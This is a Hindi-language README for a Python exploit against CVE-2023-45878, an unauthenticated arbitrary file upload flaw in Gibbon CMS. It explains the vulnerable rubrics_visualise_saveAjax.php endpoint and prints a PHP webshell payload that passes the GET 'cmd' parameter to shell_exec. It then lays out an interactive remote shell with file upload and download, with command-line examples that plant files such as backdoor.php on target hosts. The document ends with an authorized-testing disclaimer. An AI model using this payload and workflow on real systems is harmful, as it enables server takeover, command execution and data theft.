
CVE-2023-45878 के लिए Python एक्सप्लॉइट, Gibbon CMS में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड, जो वेबशेल अपलोड और इंटरैक्टिव शेल एक्सेस के माध्यम से RCE सक्षम करता है।
यह Python स्क्रिप्ट CVE-2023-45878 का शोषण करती है, जो Gibbon CMS के संस्करण 25.0.1 और उससे पहले के संस्करणों में एक अप्रमाणित मनमाना फ़ाइल अपलोड कमज़ोरी है, जो रिमोट कोड निष्पादन (RCE) की ओर ले जाती है।
CVE-2023-45878 Gibbon CMS के rubrics_visualise_saveAjax.php एंडपॉइंट में मौजूद है। यह एंडपॉइंट असुरक्षित है क्योंकि इसे प्रमाणीकरण की आवश्यकता नहीं है और यह मनमाने फ़ाइल लेखन की अनुमति देता है।
यह कमज़ोरी निम्नलिखित से उत्पन्न होती है:
modules/Rubrics/rubrics_visualise_saveAjax.php एंडपॉइंट बिना किसी प्रमाणीकरण के पहुँच योग्य है।img, path, और gibbonPersonID POST पैरामीटर स्वीकार करता है।
img पैरामीटर में विशेष रूप से स्वरूपित डेटा होने की अपेक्षा की जाती है, जहाँ अल्पविराम के बाद का भाग base64 एन्कोडेड स्ट्रिंग है।path पैरामीटर, यदि प्रदान किया जाता है, तो अपलोड की गई फ़ाइल के लिए गंतव्य फ़ाइल नाम के रूप में उपयोग किया जाता है, जो Gibbon स्थापना निर्देशिका के सापेक्ष है।img पैरामीटर से base64 एन्कोडेड सामग्री को डिकोड करती है और इसे path पैरामीटर द्वारा निर्दिष्ट फ़ाइल में लिखती है।img पैरामीटर में base64 एन्कोडेड PHP कोड (जैसे, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) युक्त एक दुर्भावनापूर्ण पैरामीटर बनाकर और एक path निर्दिष्ट करके जो वेब सर्वर के माध्यम से सुलभ .php फ़ाइल में परिणत होता है, एक हमलावर PHP वेबशेल अपलोड कर सकता है और कमज़ोर सर्वर पर रिमोट कोड निष्पादन प्राप्त कर सकता है।यह Python स्क्रिप्ट CVE-2023-45878 के शोषण को स्वचालित करती है। यह निम्नलिखित क्रियाएँ करती है:
modules/Rubrics/rubrics_visualise_saveAjax.php पर एक दुर्भावनापूर्ण POST अनुरोध तैयार करती है। वेबशेल पेलोड <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?> है, जहाँ {VERIFY_TAG} एक अनुकूलन योग्य टैग है। पेलोड base64 एन्कोडेड है और img पैरामीटर के भीतर भेजा जाता है।cmd=echo) के साथ GET अनुरोध भेजकर और प्रतिक्रिया में VERIFY_TAG की जाँच करके सत्यापित कर सकती है कि अपलोड की गई शेल सुलभ और कार्यात्मक है या नहीं। यदि --verify या --interactive जैसे विकल्पों का उपयोग किया जाता है, तो यह मौजूदा शेल के लिए पूर्व-जाँच भी करती है; यदि पाया जाता है, तो अपलोड छोड़ दिया जाता है।user@host:cwd$)।cd कमांड के लिए अंतर्निहित हैंडलिंग।!help: इंटरैक्टिव कमांड के लिए सहायता प्रदर्शित करता है।!upload <local_path> [remote_path]: वेबशेल के माध्यम से लक्ष्य सर्वर पर एक स्थानीय फ़ाइल अपलोड करता है।!download <remote_path> [local_path]: लक्ष्य सर्वर से एक फ़ाइल डाउनलोड करता है।!lcd <path>: स्थानीय वर्तमान कार्यशील निर्देशिका बदलता है।!ldir [path]: स्थानीय वर्तमान कार्यशील निर्देशिका या निर्दिष्ट पथ में फ़ाइलों और निर्देशिकाओं को सूचीबद्ध करता है।prompt_toolkit लाइब्रेरी का उपयोग करता है, अन्यथा Python के अंतर्निहित input() पर वापस आ जाता है।!upload कमांड मनमानी फ़ाइलें लिखने के लिए कमज़ोर एंडपॉइंट का पुन: उपयोग करता है, जबकि !download फ़ाइल सामग्री प्राप्त करने के लिए वेबशेल के माध्यम से निष्पादित सिस्टम कमांड (जैसे base64 या PowerShell का [Convert]::ToBase64String) का उपयोग करता है।python3 exploit.py <target_url> [options]
तर्क:
target_url: लक्ष्य Gibbon CMS इंस्टेंस का बेस URL। यदि कोई स्कीम प्रदान नहीं की गई है तो स्क्रिप्ट http:// जोड़ देगी और अंत में स्लैश सुनिश्चित करेगी (जैसे, http://example.com/gibbon या example.com/gibbon)।विकल्प:
-s <shell_path>, --shell-path <shell_path>:
अपलोड की गई शेल के लिए वांछित पथ और फ़ाइल नाम निर्दिष्ट करें (जैसे, shell.php, uploads/shell.php)।
यदि छोड़ा जाता है, तो Gibbon बेस निर्देशिका में .php एक्सटेंशन के साथ एक यादृच्छिक 8-वर्ण फ़ाइल नाम उत्पन्न होगा।
चेतावनी: सुनिश्चित करें कि निर्दिष्ट पथ वेब सर्वर द्वारा लिखने योग्य है और वेब के माध्यम से सुलभ है।-v, --verify:
शेल अपलोड करने का प्रयास करने के बाद, जाँचें कि यह काम कर रही है या नहीं। यह विकल्प यह देखने के लिए पूर्व-जाँच भी ट्रिगर करता है कि निर्दिष्ट नाम और टैग वाली शेल पहले से मौजूद है या नहीं; यदि हाँ, तो अपलोड छोड़ दिया जाता है।-i, --interactive:
इंटरैक्टिव शेल मोड में प्रवेश करें। यदि शेल पहले से मौजूद नहीं है (पूर्व-जाँच द्वारा सत्यापित), तो इसे पहले अपलोड और सत्यापित किया जाएगा।-t <tag>, --tag <tag>:
सत्यापन उद्देश्यों के लिए वेबशेल पेलोड में उपयोग किए जाने वाले एक कस्टम स्थैतिक टैग को निर्दिष्ट करें। (डिफ़ॉल्ट: ExploitGibbon)।--timeout <timeout>:
HTTP अनुरोध टाइमआउट सेकंड में सेट करें। (डिफ़ॉल्ट: 20)।उदाहरण:
मुख्य Gibbon निर्देशिका में यादृच्छिक शेल नाम और डिफ़ॉल्ट टैग के साथ मूल शोषण:
python3 exploit.py http://target.com/gibbon/
शोषण, मुख्य Gibbon निर्देशिका में शेल फ़ाइल नाम my_shell.php निर्दिष्ट करें और डिफ़ॉल्ट टैग:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
शोषण, शेल फ़ाइल नाम backdoor.php को uploads/ पर अपलोड करें, इसे सत्यापित करें, और एक कस्टम टैग का उपयोग करें:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
शोषण, शेल अपलोड करें, और डिफ़ॉल्ट टैग और 30-सेकंड टाइमआउट के साथ इंटरैक्टिव मोड में प्रवेश करें:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
मौजूदा शेल के साथ इंटरैक्टिव मोड में प्रवेश करें (स्क्रिप्ट इसकी उपस्थिति की पूर्व-जाँच करेगी):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
केवल यह सत्यापित करें कि डिफ़ॉल्ट टैग वाली शेल existing_shell.php सक्रिय है या नहीं (यदि नहीं मिलती है तो अपलोड का प्रयास करेगी):
python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
dataclasses, pathlib उपयोग के कारण)requests लाइब्रेरी: pip install requests का उपयोग करके स्थापित करेंrich लाइब्रेरी: pip install rich का उपयोग करके स्थापित करेंprompt_toolkit लाइब्रेरी (वैकल्पिक, उन्नत इंटरैक्टिव मोड के लिए): pip install prompt_toolkit का उपयोग करके स्थापित करेंयह स्क्रिप्ट केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है। इसका उपयोग अपने जोखिम पर करें और केवल उन प्रणालियों के विरुद्ध करें जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति है। लेखक इस स्क्रिप्ट के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। बिना प्राधिकरण के कमज़ोरियों का शोषण करना अवैध और अनैतिक है।